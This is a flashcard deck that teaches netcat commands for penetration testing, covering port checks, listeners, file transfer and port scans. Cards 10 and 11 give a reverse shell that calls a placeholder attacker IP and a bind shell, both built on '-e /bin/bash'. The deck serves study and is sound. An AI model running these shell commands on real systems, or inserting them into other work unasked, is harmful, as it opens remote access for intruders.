netcat commands Flashcards

1
Q

netcat

A
  • network utility commonly used in penetration testing
  • for tasks such as remote access
  • banner grabbing
  • port scanning
  • small footprint makes it easily portable
  • can create reverse shells and bind shells, allowing for remote command execution
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

nc 10.0.0.10 80

A

test if the remote TCP port is open (-u for UDP), in this case, port 80

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

nc -l 1234

A

set up a TCP server listening on port 1234 (-u for UDP)

The -l option in Netcat puts it into listening mode, allowing it to act as a server. In this mode, Netcat waits for incoming connections on a specified port, enabling tasks like setting up a listener for reverse shells or transferring data​.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

nc -k -l 1234

A

keep netcat listener alive after the current connection dies

The -k option in Netcat forces the listener to stay active and keep listening for new incoming connections even after a connection is closed. It is commonly used to allow multiple connections to the same port during a session​.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

nc 10.0.0.10 1234 < my.tgz

A

transfer file to remote endpoint via netcat

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

nc -l 1234 > my.tgz

A

receive and save file via netcat

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

nc -z 10.0.0.10 1-1000

A

scan a range of port for a target (e.g. 1 to 1000)

The -z option in Netcat is used for zero-I/O mode, primarily for port scanning. It tells Netcat not to send or receive any data, focusing instead on checking whether specified ports are open on a target system

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

nc -z 10.0.0.10 1-100 200-300

A

scan multiple ranges of ports

The -z option in Netcat is used for zero-I/O mode, primarily for port scanning. It tells Netcat not to send or receive any data, focusing instead on checking whether specified ports are open on a target system

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

nc -vuz -w1 10.0.0.10 1-1000

A

scan a range of udp ports with 1-sec timeout

  • -v: The -v option in Netcat enables verbose mode, which provides detailed output about the actions being performed. This can include information like connection status, data being sent or received, and error messages, making it useful for troubleshooting and understanding the execution flow during network tasks
  • -z: zero-I/O mode, primarily for port scanning. It tells Netcat not to send or receive any data, focusing instead on checking whether specified ports are open on a target system
  • -u: send via UDP
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

nc <attacker-ip> 4444 -e /bin/bash

A

create a reverse shell on target host

The -e option in Netcat allows it to execute a specified program after a successful connection is established. This is commonly used for creating a backdoor or reverse shell by linking the remote connection to a shell program like /bin/sh on Linux or cmd.exe on Windows.

Note: This option is often considered risky and can be disabled in some versions of Netcat due to its potential for misuse in malicious activities

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

nc -l 4444 -e /bin/bash

A

create a persistent netcat listener for bind shell

  • -l: The -l option in Netcat puts it into listening mode, allowing it to act as a server. In this mode, Netcat waits for incoming connections on a specified port, enabling tasks like setting up a listener for reverse shells or transferring data
  • -e: The -e option in Netcat allows it to execute a specified program after a successful connection is established. This is commonly used for creating a backdoor or reverse shell by linking the remote connection to a shell program like /bin/sh on Linux or cmd.exe on Windows. Note: This option is often considered risky and can be disabled in some versions of Netcat due to its potential for misuse in malicious activities
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

nc -l 12345 -c ‘uptime’

A

run a command and redirect output to client

  • -l: The -l option in Netcat puts it into listening mode, allowing it to act as a server. In this mode, Netcat waits for incoming connections on a specified port, enabling tasks like setting up a listener for reverse shells or transferring data
  • -c: The -c option in Netcat allows you to execute a shell command and redirect its input/output over the network connection. This can be useful for creating simple command execution functionality during penetration testing. However, like the -e option, this feature is not universally available and may be omitted in some versions of Netcat for security reasons​.
How well did you know this?
1
Not at all
2
3
4
5
Perfectly